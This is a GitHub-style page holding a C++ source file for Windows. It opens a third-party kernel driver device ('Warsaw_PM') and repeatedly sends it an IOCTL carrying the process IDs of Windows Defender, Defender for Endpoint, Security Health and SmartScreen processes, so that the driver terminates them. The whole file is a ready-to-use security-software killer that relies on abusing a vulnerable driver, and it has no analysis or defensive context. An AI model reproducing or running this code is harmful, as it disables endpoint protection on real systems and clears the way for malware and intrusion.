-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.cpp
More file actions
190 lines (164 loc) · 3.92 KB
/
main.cpp
File metadata and controls
190 lines (164 loc) · 3.92 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <vector>
#include <string>
#include <atomic>
#pragma comment(lib, "advapi32.lib")
// Globals
std::atomic<bool> g_running(true);
// CTRL+C Handler
BOOL WINAPI CtrlHandler(DWORD ctrlType)
{
if (ctrlType == CTRL_C_EVENT)
{
std::cout << "[!] Shutting down...\n";
g_running.store(false);
return TRUE;
}
return FALSE;
}
// Target Processes
const char* PROCESSES[] =
{
// "names.exe",
// "of.exe",
// "processes.exe",
// "to.exe",
// "terminate.exe",
"MsMpEng.exe",
"MsMpEngCP.exe",
"MpDefenderCoreService.exe",
"MpCmdRun.exe",
"NisSrv.exe",
"SecurityHealthService.exe",
"SecurityHealthHost.exe",
"SecurityHealthSystray.exe",
"MsSense.exe",
"MsSecFw.exe",
"MsMpSigUpdate.exe",
"MsMpGfx.exe",
"MpDwnLd.exe",
"MpSigStub.exe",
"MsMpCom.exe",
"MSASCui.exe",
"WindowsDefender.exe",
"WdNisSvc.exe",
"WinDefend.exe",
"smartscreen.exe"
};
// PID lookup by process name
bool GetPidByName(const char* name, DWORD& pidOut)
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE)
return false;
PROCESSENTRY32 pe{};
pe.dwSize = sizeof(pe);
if (!Process32First(snapshot, &pe))
{
CloseHandle(snapshot);
return false;
}
do
{
if (_stricmp(pe.szExeFile, name) == 0)
{
pidOut = pe.th32ProcessID;
CloseHandle(snapshot);
return true;
}
} while (Process32Next(snapshot, &pe));
CloseHandle(snapshot);
return false;
}
// Driver wrapper
class Driver
{
private:
HANDLE hDriver{ INVALID_HANDLE_VALUE };
public:
bool Initialize()
{
hDriver = CreateFileW(
L"\\\\.\\Warsaw_PM",
GENERIC_READ | GENERIC_WRITE,
0,
nullptr,
OPEN_EXISTING,
0,
nullptr
);
if (hDriver == INVALID_HANDLE_VALUE)
{
std::cerr << "[!] Failed to initialize the driver\n";
return false;
}
std::cout << "[+] Driver initialized successfully!\n";
return true;
}
bool ExecuteIOCTL(DWORD pid)
{
std::vector<BYTE> buffer(1036, 0);
// PID in first 4 bytes
memcpy(buffer.data(), &pid, sizeof(pid));
DWORD bytesReturned = 0;
BOOL result = DeviceIoControl(
hDriver,
0x22201C,
buffer.data(),
(DWORD)buffer.size(),
nullptr,
0,
&bytesReturned,
nullptr
);
if (!result)
{
DWORD err = GetLastError();
std::cerr << "[!] DeviceIoControl failed! Error: 0x"
<< std::hex << err << "\n";
return false;
}
std::cout << "[+] IOCTL sent for PID: " << pid << "\n";
return true;
}
void Cleanup()
{
if (hDriver != INVALID_HANDLE_VALUE)
{
CloseHandle(hDriver);
hDriver = INVALID_HANDLE_VALUE;
std::cout << "[*] Driver handle closed\n";
}
}
~Driver()
{
Cleanup();
}
};
int main()
{
SetConsoleCtrlHandler(CtrlHandler, TRUE);
Driver driver;
if (!driver.Initialize())
return 1;
std::cout << "[*] Scanning for target processes...\n";
std::cout << "[*] Press CTRL+C to stop...\n";
while (g_running.load())
{
for (const char* proc : PROCESSES)
{
DWORD pid = 0;
if (GetPidByName(proc, pid))
{
std::cout << " -- Found " << proc << " PID: " << pid << "\n";
std::cout << "[*] Killing " << proc << "...\n";
driver.ExecuteIOCTL(pid);
}
}
Sleep(1000);
}
std::cout << "[*] Cleaning up...\n";
return 0;
}